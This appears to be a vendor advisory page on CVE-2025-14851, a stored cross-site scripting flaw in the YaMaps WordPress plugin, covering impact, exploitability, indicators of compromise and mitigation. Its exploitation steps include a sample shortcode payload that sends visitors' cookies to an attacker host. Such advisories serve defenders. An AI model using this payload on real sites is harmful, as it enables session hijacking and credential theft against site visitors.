CVE-2025-14851: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-14851 is a Stored Cross-Site Scripting (XSS) vulnerability in the YaMaps for WordPress plugin affecting all versions up to and including 0.6.40. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the yamap shortcode. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages, which execute whenever a visitor accesses the affected page. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize or escape user-supplied parameters passed to the yamap shortcode before rendering them in page output, allowing malicious script content to be stored in the database and later served to site visitors. Exploitation requires network access and a low-privilege authenticated account (Contributor or higher), with no user interaction needed from the attacker's side and a changed scope indicating impact on the browser context of other users (Red Hat CVE).

Impact

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of any user — including administrators — who visits the compromised page. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, or further compromise of the WordPress site. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14851 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the YaMaps plugin version 0.6.40 or earlier, using tools like WPScan or by inspecting page source for plugin indicators.
  2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
  3. Craft malicious shortcode: Create or edit a post/page using the WordPress editor and insert a yamap shortcode with a malicious payload in one of its parameters, e.g., [yamap parameter="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the content: Submit or publish the post/page, causing the malicious script to be stored in the WordPress database.
  5. Trigger execution: When any user (including an administrator) visits the page containing the injected shortcode, the script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from Contributor accounts containing <script> tags or encoded JavaScript within yamap shortcode parameters.
  • Database: Unexpected <script> tags or JavaScript URIs stored in the wp_posts table within yamap shortcode content.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing yamap shortcodes, potentially carrying cookie or session data in query parameters.
  • File System: No direct file system artifacts expected for stored XSS, but review recently modified posts/pages for injected script content.

Mitigation and workarounds

Users should update the YaMaps for WordPress plugin to a version beyond 0.6.40 that addresses the insufficient sanitization. If no patched version is yet available, site administrators should restrict Contributor-level user registration and permissions, or temporarily disable the YaMaps plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts (Red Hat CVE).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management